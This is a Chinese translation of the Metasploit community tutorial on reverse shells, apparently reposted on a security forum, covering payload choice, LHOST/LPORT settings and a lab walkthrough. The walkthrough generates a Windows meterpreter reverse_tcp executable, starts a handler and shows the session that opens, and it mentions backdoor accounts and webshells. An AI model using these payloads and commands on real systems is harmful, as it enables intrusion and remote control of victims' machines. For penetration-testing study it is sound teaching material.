【译】Metasploit：如何在 Metasploit 中使用反弹 Shell

王一航 / 2018-06-10 11:32:48 / 浏览数 9841 新手 入门资料 顶(0) 踩(0)

- 原文地址：https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit
- 作者：Metasploit Community
- 译者：王一航 2018-06-10
- 校对：王一航 2018-06-10

众所周知，有两种流行的 Shell 的类型：反向 Shell（译者注：攻击者监听端口，被攻击者连接）和 正向 Shell（译者注：被攻击者监听端口，攻击者连接）
译者注：由于 C/S 结构的程序开发中，一般我们将监听端口的一方称为服务器，而主动连接的一方称为客户端。站在攻击者的角度上，正向 Shel
即为攻击者主动连接服务器，此谓之正向；而反向 Shell 中，攻击者为服务器，被攻击者主动连接攻击者，此谓之反向

Payload 的基本使用已经在 用户手册 中写的很详细了，但是，学习如何使用反向 Shell 仍然是一个在 Metasploit 社区中被询问最频繁的问题。另外，事实上反向 Shell 在十次渗透中几乎有九次都可能被用到，因此在这个文档中我们将对此进行深入解释。

列出所有的 Metasploit 反向 Shell

直到现在， Metasploit Framework 已经有了 168 个不同的反向 Shell 的 Payload
我们这里并没有列出所有的反向 Shell 的列表，因为没必要浪费文章的篇幅。
但是如果你想要得到这个列表的话，你可以使用 `msfpayload` 命令（译者注：msfpayload 目前已经被 msfvenom 代替，msfvenom 由 msfpayload 与 msfencode 结合而成，具体官方公告可以参考：https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom ）

```
# ./msfpayload -l |grep reverse
./msfvenom -l |grep reverse
```

作为一个经验法则，我们一般总是选择 meterpreter（译者注：对比于反向 Shell 和 正向 Shell），因为 Meterpreter
的确能为我们提供更多的后渗透测试的支持。例如：Railgun（译者注：这是 Metasploit 对 Windows Meterpreter Session 提供的一个功能，可以注入 DLL 文件到指定的程序），后渗透测试模块，独立的 Meterpreter 命令（例如：摄像头控制），等等。

- 以 Windows 作为目标系统，最被频繁使用的反向 Shell 是 `windows/meterpreter/reverse`。但是你也可以尝试一下 `windows/meterpreter/reverse_http`, `windows/meterpreter/reverse_https`, 因为它们（译者注：原文中并没有说清楚 ■■ 指的是什么，个人感觉应该是反向 Shell 的流量并没有经过加密，可以直接被防火墙嗅探到，但是如果基于 HTTP 或者 HTTPS 那么就可以实现基于应用层的加密，这样更难被检测到）的网络流量可能会有一点点不正常。
- 以 Linux 作为目标系统，你可以尝试 `linux/x86/meterpreter/reverse_tcp` 这个针对 32 位的 Payload，当然也可以尝试 64 位的。然而，你应该知道的是 `linux/x86/shell_reverse_tcp` 这个 Payload 是最稳定的

什么时候应该使用反向 Shell

如果你认为你所在的条件符合如下条件之一（但不限于），那么你就应该考虑使用反向 Shell

- 目标机器在一个不同（相对攻击者而言）的私有网络
- 目标机器的防火墙阻挡了所有入口连接（这种情况正向 Shell 是会被防火墙阻挡的）
- 由于一些原因，你的 Payload 不能绑定在应该绑定的端口的时候
- 你还不能确定应该选择反向 Shell 还是正向 Shell 的时候

什么时候不应该使用反向 Shell

- 一般来说，如果你已经在目标机器的某个已存在的服务上种植了后门，那么你就不再需要反向 Shell。例如：如果目标机器已经运行了一个 SSH 服务器，那么你可以通过后门程序添加一个新的用户并且直接使用。
- 如果目标机器运行了一个 WEB 服务器并且支持服务端脚本语言，那么你就可以种植一个目标语言的后门。例如：很多 Apache HTTP Server 都支持 PHP 语言，那么你就可以使用一个 PHP 的 webshell；IIS 服务器通常支持 ASP 语言或者 ASP.net。Metasploit Framework 提供所有这些语言的 Payload（当然也包括许多其他语言的 Payload）
- 与 VNC 相同，远程桌面，SMB(psexec) 或者等等其他的远程管理工具也一样。

如何在生成 Payload 的时候配置反向 Shell Payload 的参数

如果你想使用 `msfpayload`（译者注：已被废弃）或者 `msfvenom` 来生成反向 Shell 的 Payload，那么你必须知道如何配置如下的参数：

- LHOST - 从字面上看（译者注：Local HOST），该参数表示你想让你的目标机器连接的地址。如果你在一个本地局域网，那么你的目标机器可能就不能直接连接到你的机器了，除非你们在同一个网络中。这种 找到你的公网IP ，然后在你的网络中配置端口转发连接到你自己的用来攻击的电脑。LHOST 这个参数不可以被设置为 `localhost`, `0.0.0.0`, `127.0.0.1`，如果你这么设置了，那么你其实在让目标机器连接自己。
- LPORT - 这个参数表示目标机器要连接的端口号

当你在配置反向 Shell 的监听器的时候，你也需要至少配置 LHOST 和 LPORT 这两个参数，但是这和在生成 Payload 的时候的配置的含义有所不同

- LHOST - 该参数表示你想让你的监听器绑定的 IP 地址
- LPORT - 该参数表示你想让你的监听器绑定的端口号

你应该确保监听器在目标机器执行反向 Shell 的 Payload 之前就开始监听

实例

在下面的实例中，我们有两个主机

主机 A

- 攻击者机器（用来接受 Payload 作用产生的 Session）
- IP : 192.168.1.123 (ifconfig)
- 与受害者的主机在同一网段

主机 B

- 受害者机器
- Windows XP
- IP : 192.168.1.80 (ipconfig)
- 与攻击者在同一个网段
- 为了测试效果，并没有开启防火墙
- 为了测试效果，并没有开启反病毒软件

第一步：生成可执行的Payload
在攻击者的机器上，运行如下 msfpayload 命令（或者 msfvenom，任何一个都可以）

```
$ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 287
Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"}
```

第二步：将可执行的 Payload 拷贝到机器 B （也就是受害者的机器）

第三步：在机器A（也就是攻击者）上配置 Payload Handler

```
$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
```

第四步：双击刚才生成的恶意可执行程序（在机器B，也就是受害者机器上）

第五步：这个时候应该就可以在攻击者的机器A上看到一个 meterpreter/payload 的 session 了

```
$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500
```

```
meterpreter >
```

Meterpreter 命令提示符表示由当前 payload 生成的 session 已经被激活

上一篇：ICMP隧道 下一篇：【译】Metasploit：如何使...

1. 0 条回复
   - 动动手指，沙发就是你的了！